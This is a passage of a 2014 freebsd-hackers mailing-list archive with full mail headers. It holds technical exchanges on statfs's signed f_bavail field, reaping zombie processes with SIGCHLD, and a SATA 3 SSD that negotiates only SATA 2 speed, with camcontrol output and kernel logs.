http://www.catwhisker.org/~david/publickey.gpg for my public key. --aZoGpuMECXJckB41 Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.22 (FreeBSD) iQJ8BAEBCgBmBQJTUVUVXxSAAAAAAC4AKGlzc3Vlci1mcHJAbm90YXRpb25zLm9w ZW5wZ3AuZmlmdGhob3JzZW1hbi5uZXQ4RThEMDY4QTIxMjc1MDZFRDIzODYzRTc4 QTY3RjlDOERFRjQxOTNCAAoJEIpn+cje9Bk7i9MP/0THV1K1IUw3hiv2/Etg1Hp1 2tqRDUdrhMpyknnbje6cBphV+ggyWXbwdDe2WjoRmx503faQstmSMZTqC6ATLiaV p2LRMdoC1Z/zpTjYBkHqBgoNP2coHSe9KMlbOxu90a1WU+AzdeyCXVNudonV6owp MZeTJGwv16FnE/nKthJpm6BuLHPo+qpI2H2ZLP6j5s4JR1CaC6L93VlYwjuIebBJ VASuSSyUf7SjiH78XTgrO0vBDDjSDykUQCFJYJQsSmk3HflBJQwb9AW0mDmnlXce MUo3oal0CjfMaU3BFXbjC5A6pf7Y8LOofF5iUTL4y8paGIzyOJMJqXhOn3DWAcpi ItlmzZAEJECjOlsk8L5y97GutAkPwUj4Sd0EdqrII3Rc7Wou4pml+XJKnjlIuB7c 2PFtWoWZytBQDAdGOi3EzvjCs0CFgHV3zd8JlukSIOuRJYlSV0Sd5QLPJq3pXOmI Un7pkmFedg8BMyj/65K1bzpRsNf5LhUTb9QMkO2KjEoI1eQKBd8IYHj4MsK7l1IV bUDwkelMT6Ih+iqyslmFQcK0ies7vTJTsYKxlublFTYWsl9irqJn/7yBTW0VC3qR Pk4OH011l0ZHYybHFtf43o5Z+aqh21iAFK2Au45tNPl5x8p7nXwvMv1uXQCJKOeH 7GMv6xDxBPW/SqLb1E0H =xzM8 -----END PGP SIGNATURE----- --aZoGpuMECXJckB41-- From owner-freebsd-hackers@FreeBSD.ORG Fri Apr 18 16:39:08 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id CF62EDCE for ; Fri, 18 Apr 2014 16:39:08 +0000 (UTC) Received: from email2.allantgroup.com (email2.emsphone.com [199.67.51.116]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 94C8E1431 for ; Fri, 18 Apr 2014 16:39:07 +0000 (UTC) Received: from dan.emsphone.com (dan.emsphone.com [172.17.17.101]) by email2.allantgroup.com (8.14.7/8.14.7) with ESMTP id s3IGd0Q1083984 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 18 Apr 2014 11:39:00 -0500 (CDT) (envelope-from dan@dan.emsphone.com) Received: from dan.emsphone.com (smmsp@localhost [127.0.0.1]) by dan.emsphone.com (8.14.7/8.14.6) with ESMTP id s3IGd0lP082940 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 18 Apr 2014 11:39:00 -0500 (CDT) (envelope-from dan@dan.emsphone.com) Received: (from dan@localhost) by dan.emsphone.com (8.14.8/8.14.7/Submit) id s3IGd0CF082939; Fri, 18 Apr 2014 11:39:00 -0500 (CDT) (envelope-from dan) Date: Fri, 18 Apr 2014 11:39:00 -0500 From: Dan Nelson To: Sergey Matveychuk Subject: Re: statfs(2) Message-ID: <20140418163900.GA54186@dan.emsphone.com> References: <53514ED2.2060904@semmy.ru> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <53514ED2.2060904@semmy.ru> X-OS: FreeBSD 9.2-STABLE User-Agent: Mutt/1.5.23 (2014-03-12) X-Virus-Scanned: clamav-milter 0.98.1 at email2.allantgroup.com X-Virus-Status: Clean X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.2.7 (email2.allantgroup.com [172.17.19.78]); Fri, 18 Apr 2014 11:39:00 -0500 (CDT) X-Spam-Status: No, score=-3.9 required=5.0 tests=ALL_TRUSTED,BAYES_00, RP_MATCHES_RCVD,URIBL_BLOCKED autolearn=ham version=3.3.2 X-Spam-Checker-Version: SpamAssassin 3.3.2 (2011-06-06) on email2.allantgroup.com X-Scanned-By: MIMEDefang 2.73 Cc: hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 18 Apr 2014 16:39:08 -0000 In the last episode (Apr 18), Sergey Matveychuk said: > Hi. > > Tell me please, why f_bfree is unsigned and f_bavail is signed? > > struct statfs { > ... > uint64_t f_bfree; /* free blocks in filesystem */ > int64_t f_bavail; /* free blocks avail to non-superuser */ > ... f_bavail may become negative on UFS, due to space reserved to the root user (minfree in the newfs and tunefs manpages). When the free space becomes less than minree, f_bavail isn't clamped at zero, but just goes negative. -- Dan Nelson dnelson@allantgroup.com From owner-freebsd-hackers@FreeBSD.ORG Sat Apr 19 07:38:20 2014 Return-Path: Delivered-To: hackers@FreeBSD.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 517D8325; Sat, 19 Apr 2014 07:38:20 +0000 (UTC) Received: from gw.catspoiler.org (gw.catspoiler.org [75.1.14.242]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 1024F1767; Sat, 19 Apr 2014 07:38:19 +0000 (UTC) Received: from FreeBSD.org (mousie.catspoiler.org [192.168.101.2]) by gw.catspoiler.org (8.13.3/8.13.3) with ESMTP id s3J7IfAL093043; Sat, 19 Apr 2014 00:18:45 -0700 (PDT) (envelope-from truckman@FreeBSD.org) Message-Id: <201404190718.s3J7IfAL093043@gw.catspoiler.org> Date: Sat, 19 Apr 2014 00:18:41 -0700 (PDT) From: Don Lewis Subject: Re: Process handlers, and zombies, or preap(1) To: bsd-lists@bsdforge.com In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/plain; charset=us-ascii Cc: freebsd-hackers@FreeBSD.org, hackers@FreeBSD.org, freebsd-stable@FreeBSD.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 19 Apr 2014 07:38:20 -0000 On 1 Apr, Chris H wrote: >> On Monday, March 31, 2014 4:06:43 pm Chris H wrote: >>> Greetings, >>> I'm evaluating/experimenting on releng_9. The install, and now >>> custom kernel have noting exotic, or anything out of the ordinary. >>> top(1), and ps(1) indicate a (1) zombie, or process. On >>> my releng_8 systems, when I occasionally encounter one of these, >>> they soon disappear (are reaped) from the process table. While I >>> have not investigated this far enough on both versions to determine >>> whether the parent process reaped the child on the releng_8 systems, >>> and the parent on releng_9 is simply an irresponsible parent, eg; >>> a different parent. Before I do, I was wondering if there was any >>> specific difference between the 2 versions that might cause better >>> handling of such situations. While I recognize that resource >>> starvation is HIGHLY unlikely, except by perhaps a rouge parent >>> spawning multitudes of zombies. I thought it might be useful for >>> "housekeeping" to 1) provide a process table housekeeper (zombie >>> reaper), or 2) create a system utility/command like SunOS/OpenSolaris >>> has; preap(1). >>> >>> http://www.freebsd.org/cgi/man.cgi?query=preap&manpath=SunOS+5.10 >>> >>> Thank you for your time, and consideration. >> >> Nothing is different with child processes in 9 vs 8. It is most >> likely a misbehaving parent (or the parent is stuck or hung). > > Hello, John, and thank you for the reply. > Right you are. Julian Elischer was kind enough to remind me that > ps -alx > would give me the information I needed to find the seemingly > "lazy" parent process. But not before I had already (re)created > a (Free)BSD version of preap(1), and cleared the entry from the > proc table. > However, it re-appeared again. So this time I traced it to it's > parent, and now I can deal with it /properly/. It's an old port > who's development was taken over by a Windows developer. So he > doesn't have access to the *NIX-isms. I'll see if I can find > the time to coordinate some effort(s) to clean it up, or branch > a NIX version. A call to signal(SIGCHLD, SIG_IGN); would probably fix the problem with no fuss. From the signal(3) man page: If a process explicitly specifies SIG_IGN as the action for the signal SIGCHLD, the system will not create zombie processes when children of the calling process exit. As a consequence, the system will discard the exit status from the child processes. If the calling process subsequently issues a call to wait(2) or equivalent, it will block until all of the calling process's children terminate, and then return a value of -1 with errno set to ECHILD. From owner-freebsd-hackers@FreeBSD.ORG Sun Apr 20 19:31:29 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 0DB8EC6F; Sun, 20 Apr 2014 19:31:29 +0000 (UTC) Received: from mail-we0-x233.google.com (mail-we0-x233.google.com [IPv6:2a00:1450:400c:c03::233]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 543B21BE8; Sun, 20 Apr 2014 19:31:28 +0000 (UTC) Received: by mail-we0-f179.google.com with SMTP id x48so3099117wes.38 for ; Sun, 20 Apr 2014 12:31:26 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :content-type; bh=wOov6dYHyzwoy53Vg9Vt9asWVQoHKwWuw3h6y/wF2FU=; b=VCqkhe0nNnk/VU4uPT7kZwSkc5OMHI+e23NQodfpJazQCnSZfmsaYL7dFJy2DZbfud gDPqDt1o+1wxv/0BlV3rN1m36Z04q0pYO+HHoZu787jrVleXOVY1/7mmlYha80X14avN gg0QUE/9s6hq/nQQCGotLc4nzT0UyuWqOAQDEKiXuDFHfkTQGVeZo9DaZz1O7qjJmp4w jAK/JAa7WUyTB8B+R4jxk6opdzecst/gg1x9hRBDZew5JJeKBW3MNGHVohTKKFWX7srq w0pC7ACgAAWO5xnVAeOMKRKibLibY0cs7kZv6s5M5AQDeY+ZytaOzsNBCUfC9KDNGNUm zISw== MIME-Version: 1.0 X-Received: by 10.194.80.7 with SMTP id n7mr25591571wjx.8.1398022286077; Sun, 20 Apr 2014 12:31:26 -0700 (PDT) Received: by 10.194.235.68 with HTTP; Sun, 20 Apr 2014 12:31:26 -0700 (PDT) In-Reply-To: References: Date: Sun, 20 Apr 2014 23:31:26 +0400 Message-ID: Subject: Re: SATA2 mode on SATA3 SSD (marvell controller) after boot From: Andrey Fesenko To: freebsd-current , "freebsd-hackers@freebsd.org" , mav@freebsd.org Content-Type: text/plain; charset=UTF-8 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 20 Apr 2014 19:31:29 -0000 On Thu, Apr 17, 2014 at 2:10 PM, Andrey Fesenko wrote: > if disconnect ssd > pr 17 14:07:08 desktop kernel: ahcich3: DISCONNECT requested > Apr 17 14:07:08 desktop kernel: ahcich3: AHCI reset... > Apr 17 14:07:08 desktop kernel: ahcich3: SATA connect timeout > time=10000us status=00000000 > Apr 17 14:07:08 desktop kernel: ahcich3: AHCI reset: device not found > Apr 17 14:07:08 desktop kernel: pass3 at ahcich3 bus 0 scbus3 target 0 lun 0 > Apr 17 14:07:08 desktop kernel: pass3: s/n > P02411112921 detached > Apr 17 14:07:08 desktop kernel: ada3 at ahcich3 bus 0 scbus3 target 0 lun 0 > Apr 17 14:07:08 desktop kernel: ada3: s/n > P02411112921 detached > Apr 17 14:07:08 desktop kernel: (pass3:ahcich3:0:0:0): Periph destroyed > Apr 17 14:07:08 desktop kernel: (ada3:ahcich3:0:0:0): Periph destroyed > Apr 17 14:07:18 desktop kernel: ahcich3: CONNECT requested > Apr 17 14:07:18 desktop kernel: ahcich3: AHCI reset... > Apr 17 14:07:18 desktop kernel: ahcich3: SATA connect time=8000us > status=00000133 > Apr 17 14:07:18 desktop kernel: ahcich3: AHCI reset: device found > Apr 17 14:07:18 desktop kernel: ahcich3: AHCI reset: device ready after 0ms > Apr 17 14:07:18 desktop kernel: ada3 at ahcich3 bus 0 scbus3 target 0 lun 0 > Apr 17 14:07:18 desktop kernel: GEOM: new disk ada3 > Apr 17 14:07:18 desktop kernel: ada3: ATA-8 > SATA 3.x device > Apr 17 14:07:18 desktop kernel: ada3: Serial Number P02411112921 > Apr 17 14:07:18 desktop kernel: ada3: 600.000MB/s transfers (SATA 3.x, > UDMA6, PIO 8192bytes) > Apr 17 14:07:18 desktop kernel: ada3: Command Queueing enabled > Apr 17 14:07:18 desktop kernel: ada3: 122104MB (250069680 512 byte > sectors: 16H 63S/T 16383C) > Apr 17 14:07:18 desktop kernel: ada3: Previously was known as ad10 > Apr 17 14:07:18 desktop kernel: pass3 at ahcich3 bus 0 scbus3 target 0 lun 0 > Apr 17 14:07:18 desktop kernel: pass3: ATA-8 > SATA 3.x device > Apr 17 14:07:18 desktop kernel: pass3: Serial Number P02411112921 > Apr 17 14:07:18 desktop kernel: pass3: 600.000MB/s transfers (SATA > 3.x, UDMA6, PIO 8192bytes) > Apr 17 14:07:18 desktop kernel: pass3: Command Queueing enabled > > > # uname -a > FreeBSD desktop.local 11.0-CURRENT FreeBSD 11.0-CURRENT #0 r263932: > Sun Mar 30 15:43:01 MSK 2014 > root@desktop.local:/usr/obj/usr/src/sys/MY_DES amd64 Is it possible camcontrol repeat behavior as physical disable/enable or enable SATA 3.x mode? camcontrol negotiate only report not set new mode. # camcontrol negotiate pass2 Current parameters: (pass2:ahcich3:0:0:0): SATA revision: 2.x (pass2:ahcich3:0:0:0): ATA mode: UDMA6 (pass2:ahcich3:0:0:0): ATAPI packet length: 0 (pass2:ahcich3:0:0:0): PIO transaction length: 8192 (pass2:ahcich3:0:0:0): PMP presence: 0 (pass2:ahcich3:0:0:0): Number of tags: 32 (pass2:ahcich3:0:0:0): SATA capabilities: 00000030 (pass2:ahcich3:0:0:0): tagged queueing: enabled From owner-freebsd-hackers@FreeBSD.ORG Sun Apr 20 19:44:17 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 4EF14565; Sun, 20 Apr 2014 19:44:17 +0000 (UTC) Received: from mail-ee0-x22a.google.com (mail-ee0-x22a.google.com [IPv6:2a00:1450:4013:c00::22a]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id B20AD1D59; Sun, 20 Apr 2014 19:44:16 +0000 (UTC) Received: by mail-ee0-f42.google.com with SMTP id d17so3191291eek.1 for ; Sun, 20 Apr 2014 12:44:15 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=sender:message-id:date:from:user-agent:mime-version:to:subject :references:in-reply-to:content-type:content-transfer-encoding; bh=4A6DJPAAilHu20Ty+6u1SWiLVH5Q3RqdKF+SkemItAE=; b=PoQ1lZnznwvNM7jjAjD5NMl8E+RsO00dKWysmm6llxdtZ+QZ9QvngLFb6ILuHbVzfy LuMMPngkWmkNgdozKP9xSKp58JcYGBYEqwDYtFs5PaqYJTnq7Hc75eP5LCbjHHQw0tnN dgQQejNHA4ZQEa8nD7Q+IbiftHSZYWl7a/1IHjjHd9/y4/CxDIBJx4Evml9/Q95N6XRI D51tVPca0lJDShS9doB6GyVEUzoxcLLRb9xnshFoK0TcGkDEQMrdX4NrZSQTujHL4BUs mBlptGHzGPAymVEGQnZdoElRAl1Ri31OquK5UJ97UYcWNlXQy0nMn1dpJBkqzB/NERxY e7UA== X-Received: by 10.15.48.129 with SMTP id h1mr41242632eew.57.1398023055057; Sun, 20 Apr 2014 12:44:15 -0700 (PDT) Received: from mavbook.mavhome.dp.ua ([134.249.139.101]) by mx.google.com with ESMTPSA id t50sm97122742eev.28.2014.04.20.12.44.13 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Sun, 20 Apr 2014 12:44:14 -0700 (PDT) Sender: Alexander Motin Message-ID: <5354238C.50100@FreeBSD.org> Date: Sun, 20 Apr 2014 22:44:12 +0300 From: Alexander Motin User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0 MIME-Version: 1.0 To: Andrey Fesenko , freebsd-current , "freebsd-hackers@freebsd.org" Subject: Re: SATA2 mode on SATA3 SSD (marvell controller) after boot References: In-Reply-To: Content-Type: text/plain; charset=UTF-8; format=flowed Content-Transfer-Encoding: 7bit X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 20 Apr 2014 19:44:17 -0000 On 20.04.2014 22:31, Andrey Fesenko wrote: > On Thu, Apr 17, 2014 at 2:10 PM, Andrey Fesenko wrote: >> if disconnect ssd >> pr 17 14:07:08 desktop kernel: ahcich3: DISCONNECT requested >> Apr 17 14:07:08 desktop kernel: ahcich3: AHCI reset... >> Apr 17 14:07:08 desktop kernel: ahcich3: SATA connect timeout >> time=10000us status=00000000 >> Apr 17 14:07:08 desktop kernel: ahcich3: AHCI reset: device not found >> Apr 17 14:07:08 desktop kernel: pass3 at ahcich3 bus 0 scbus3 target 0 lun 0 >> Apr 17 14:07:08 desktop kernel: pass3: s/n >> P02411112921 detached >> Apr 17 14:07:08 desktop kernel: ada3 at ahcich3 bus 0 scbus3 target 0 lun 0 >> Apr 17 14:07:08 desktop kernel: ada3: s/n >> P02411112921 detached >> Apr 17 14:07:08 desktop kernel: (pass3:ahcich3:0:0:0): Periph destroyed >> Apr 17 14:07:08 desktop kernel: (ada3:ahcich3:0:0:0): Periph destroyed >> Apr 17 14:07:18 desktop kernel: ahcich3: CONNECT requested >> Apr 17 14:07:18 desktop kernel: ahcich3: AHCI reset... >> Apr 17 14:07:18 desktop kernel: ahcich3: SATA connect time=8000us >> status=00000133 >> Apr 17 14:07:18 desktop kernel: ahcich3: AHCI reset: device found >> Apr 17 14:07:18 desktop kernel: ahcich3: AHCI reset: device ready after 0ms >> Apr 17 14:07:18 desktop kernel: ada3 at ahcich3 bus 0 scbus3 target 0 lun 0 >> Apr 17 14:07:18 desktop kernel: GEOM: new disk ada3 >> Apr 17 14:07:18 desktop kernel: ada3: ATA-8 >> SATA 3.x device >> Apr 17 14:07:18 desktop kernel: ada3: Serial Number P02411112921 >> Apr 17 14:07:18 desktop kernel: ada3: 600.000MB/s transfers (SATA 3.x, >> UDMA6, PIO 8192bytes) >> Apr 17 14:07:18 desktop kernel: ada3: Command Queueing enabled >> Apr 17 14:07:18 desktop kernel: ada3: 122104MB (250069680 512 byte >> sectors: 16H 63S/T 16383C) >> Apr 17 14:07:18 desktop kernel: ada3: Previously was known as ad10 >> Apr 17 14:07:18 desktop kernel: pass3 at ahcich3 bus 0 scbus3 target 0 lun 0 >> Apr 17 14:07:18 desktop kernel: pass3: ATA-8 >> SATA 3.x device >> Apr 17 14:07:18 desktop kernel: pass3: Serial Number P02411112921 >> Apr 17 14:07:18 desktop kernel: pass3: 600.000MB/s transfers (SATA >> 3.x, UDMA6, PIO 8192bytes) >> Apr 17 14:07:18 desktop kernel: pass3: Command Queueing enabled >> >> >> # uname -a >> FreeBSD desktop.local 11.0-CURRENT FreeBSD 11.0-CURRENT #0 r263932: >> Sun Mar 30 15:43:01 MSK 2014 >> root@desktop.local:/usr/obj/usr/src/sys/MY_DES amd64 > > Is it possible camcontrol repeat behavior as physical disable/enable > or enable SATA 3.x mode? > camcontrol negotiate only report not set new mode. > > # camcontrol negotiate pass2 > Current parameters: > (pass2:ahcich3:0:0:0): SATA revision: 2.x > (pass2:ahcich3:0:0:0): ATA mode: UDMA6 > (pass2:ahcich3:0:0:0): ATAPI packet length: 0 > (pass2:ahcich3:0:0:0): PIO transaction length: 8192 > (pass2:ahcich3:0:0:0): PMP presence: 0 > (pass2:ahcich3:0:0:0): Number of tags: 32 > (pass2:ahcich3:0:0:0): SATA capabilities: 00000030 > (pass2:ahcich3:0:0:0): tagged queueing: enabled camcontrol negotiate can limit maximal SATA mode, but not specify it exactly. Unless you limited it previously, there should be no limitation set and HBA should negotiate it freely. The limitations could be read/set with `camcontrol negotiate pass2 -U`, and affect operation after following `camcontrol reset ...`. -- Alexander Motin From owner-freebsd-hackers@FreeBSD.ORG Sun Apr 20 19:51:11 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 4CC22900; Sun, 20 Apr 2014 19:51:11 +0000 (UTC) Received: from mail-wi0-x22e.google.com (mail-wi0-x22e.google.com [IPv6:2a00:1450:400c:c05::22e]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 9204E1E57; Sun, 20 Apr 2014 19:51:10 +0000 (UTC) Received: by mail-wi0-f174.google.com with SMTP id d1so1192153wiv.1 for ; Sun, 20 Apr 2014 12:51:08 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=eI3OPdtUmNnnV+uEqKmJDu/XZ00LvHEbA3YlHxuWs+o=; b=DfEBXvgSRnhMxZdH0tEUVor9r2hj2dZLA4zF8XjE4BcPBUYKCbYvY9bTFNLSz+pzay DSo8PaBIudWfgCAnPOAY3eWKsF1R5LC1yfFG4htEeSYYZmbQZlNQescUdY1VH2/l3KaE u2hmFoConSI6BkwrTRuXVMgO68L5gBEyOeY4Rx+YmHuDGRGg66ZDfG86Tq4Y6ExMVGha M4rMUe183vpWHFbui9yjHVj5LJVhf0fY2GeALBagJv9Fxe2dMJ39xHTbEHe9HnPCgajn fPLSPB+QmNbtbWjHCSXnPQCG9epludQZ9yk0n5JtdnEAE/W7ER6ZfI7M4iWE7APcQW+A Zn/w== MIME-Version: 1.0 X-Received: by 10.180.96.225 with SMTP id dv1mr10990996wib.37.1398023468851; Sun, 20 Apr 2014 12:51:08 -0700 (PDT) Received: by 10.194.235.68 with HTTP; Sun, 20 Apr 2014 12:51:08 -0700 (PDT) In-Reply-To: <5354238C.50100@FreeBSD.org> References: <5354238C.50100@FreeBSD.org> Date: Sun, 20 Apr 2014 23:51:08 +0400 Message-ID: Subject: Re: SATA2 mode on SATA3 SSD (marvell controller) after boot From: Andrey Fesenko To: Alexander Motin Content-Type: text/plain; charset=UTF-8 Cc: "freebsd-hackers@freebsd.org" , freebsd-current X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 20 Apr 2014 19:51:11 -0000 On Sun, Apr 20, 2014 at 11:44 PM, Alexander Motin wrote: > On 20.04.2014 22:31, Andrey Fesenko wrote: >> >> On Thu, Apr 17, 2014 at 2:10 PM, Andrey Fesenko >> wrote: >>> >>> if disconnect ssd >>> pr 17 14:07:08 desktop kernel: ahcich3: DISCONNECT requested >>> Apr 17 14:07:08 desktop kernel: ahcich3: AHCI reset... >>> Apr 17 14:07:08 desktop kernel: ahcich3: SATA connect timeout >>> time=10000us status=00000000 >>> Apr 17 14:07:08 desktop kernel: ahcich3: AHCI reset: device not found >>> Apr 17 14:07:08 desktop kernel: pass3 at ahcich3 bus 0 scbus3 target 0 >>> lun 0 >>> Apr 17 14:07:08 desktop kernel: pass3: s/n >>> P02411112921 detached >>> Apr 17 14:07:08 desktop kernel: ada3 at ahcich3 bus 0 scbus3 target 0 lun >>> 0 >>> Apr 17 14:07:08 desktop kernel: ada3: s/n >>> P02411112921 detached >>> Apr 17 14:07:08 desktop kernel: (pass3:ahcich3:0:0:0): Periph destroyed >>> Apr 17 14:07:08 desktop kernel: (ada3:ahcich3:0:0:0): Periph destroyed >>> Apr 17 14:07:18 desktop kernel: ahcich3: CONNECT requested >>> Apr 17 14:07:18 desktop kernel: ahcich3: AHCI reset... >>> Apr 17 14:07:18 desktop kernel: ahcich3: SATA connect time=8000us >>> status=00000133 >>> Apr 17 14:07:18 desktop kernel: ahcich3: AHCI reset: device found >>> Apr 17 14:07:18 desktop kernel: ahcich3: AHCI reset: device ready after >>> 0ms >>> Apr 17 14:07:18 desktop kernel: ada3 at ahcich3 bus 0 scbus3 target 0 lun >>> 0 >>> Apr 17 14:07:18 desktop kernel: GEOM: new disk ada3 >>> Apr 17 14:07:18 desktop kernel: ada3: ATA-8 >>> SATA 3.x device >>> Apr 17 14:07:18 desktop kernel: ada3: Serial Number P02411112921 >>> Apr 17 14:07:18 desktop kernel: ada3: 600.000MB/s transfers (SATA 3.x, >>> UDMA6, PIO 8192bytes) >>> Apr 17 14:07:18 desktop kernel: ada3: Command Queueing enabled >>> Apr 17 14:07:18 desktop kernel: ada3: 122104MB (250069680 512 byte >>> sectors: 16H 63S/T 16383C) >>> Apr 17 14:07:18 desktop kernel: ada3: Previously was known as ad10 >>> Apr 17 14:07:18 desktop kernel: pass3 at ahcich3 bus 0 scbus3 target 0 >>> lun 0 >>> Apr 17 14:07:18 desktop kernel: pass3: ATA-8 >>> SATA 3.x device >>> Apr 17 14:07:18 desktop kernel: pass3: Serial Number P02411112921 >>> Apr 17 14:07:18 desktop kernel: pass3: 600.000MB/s transfers (SATA >>> 3.x, UDMA6, PIO 8192bytes) >>> Apr 17 14:07:18 desktop kernel: pass3: Command Queueing enabled >>> >>> >>> # uname -a >>> FreeBSD desktop.local 11.0-CURRENT FreeBSD 11.0-CURRENT #0 r263932: >>> Sun Mar 30 15:43:01 MSK 2014 >>> root@desktop.local:/usr/obj/usr/src/sys/MY_DES amd64 >> >> >> Is it possible camcontrol repeat behavior as physical disable/enable >> or enable SATA 3.x mode? >> camcontrol negotiate only report not set new mode. >> >> # camcontrol negotiate pass2 >> Current parameters: >> (pass2:ahcich3:0:0:0): SATA revision: 2.x >> (pass2:ahcich3:0:0:0): ATA mode: UDMA6 >> (pass2:ahcich3:0:0:0): ATAPI packet length: 0 >> (pass2:ahcich3:0:0:0): PIO transaction length: 8192 >> (pass2:ahcich3:0:0:0): PMP presence: 0 >> (pass2:ahcich3:0:0:0): Number of tags: 32 >> (pass2:ahcich3:0:0:0): SATA capabilities: 00000030 >> (pass2:ahcich3:0:0:0): tagged queueing: enabled > > > camcontrol negotiate can limit maximal SATA mode, but not specify it > exactly. Unless you limited it previously, there should be no limitation set > and HBA should negotiate it freely. The limitations could be read/set with > `camcontrol negotiate pass2 -U`, and affect operation after following > `camcontrol reset ...`. > > -- > Alexander Motin system this installer usb image without limitation # uname -a FreeBSD 11.0-CURRENT FreeBSD 11.0-CURRENT #0 r264634: Fri Apr 18 08:25:11 MSK 2014 andrey@desktop.local:/usr/obj/usr/src/sys/GENERIC amd64 root@:~ # camcontrol negotiate pass2 -U User parameters: (pass2:ahcich3:0:0:0): SATA revision: 0.x (pass2:ahcich3:0:0:0): ATA mode: NONE (pass2:ahcich3:0:0:0): ATAPI packet length: 0 (pass2:ahcich3:0:0:0): PIO transaction length: 8192 (pass2:ahcich3:0:0:0): PMP presence: 0 (pass2:ahcich3:0:0:0): Number of tags: 32 (pass2:ahcich3:0:0:0): SATA capabilities: 00000030 (pass2:ahcich3:0:0:0): tagged queueing: enabled root@:~ # camcontrol reset pass2 Reset of bus 0 was successful root@:~ # camcontrol negotiate pass2 Current parameters: (pass2:ahcich3:0:0:0): SATA revision: 2.x (pass2:ahcich3:0:0:0): ATA mode: UDMA6 (pass2:ahcich3:0:0:0): ATAPI packet length: 0 (pass2:ahcich3:0:0:0): PIO transaction length: 8192 (pass2:ahcich3:0:0:0): PMP presence: 0 (pass2:ahcich3:0:0:0): Number of tags: 32 (pass2:ahcich3:0:0:0): SATA capabilities: 00000030 (pass2:ahcich3:0:0:0): tagged queueing: enabled From owner-freebsd-hackers@FreeBSD.ORG Sun Apr 20 20:05:22 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 09D02C48; Sun, 20 Apr 2014 20:05:22 +0000 (UTC) Received: from mail-ee0-x229.google.com (mail-ee0-x229.google.com [IPv6:2a00:1450:4013:c00::229]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 643A71062; 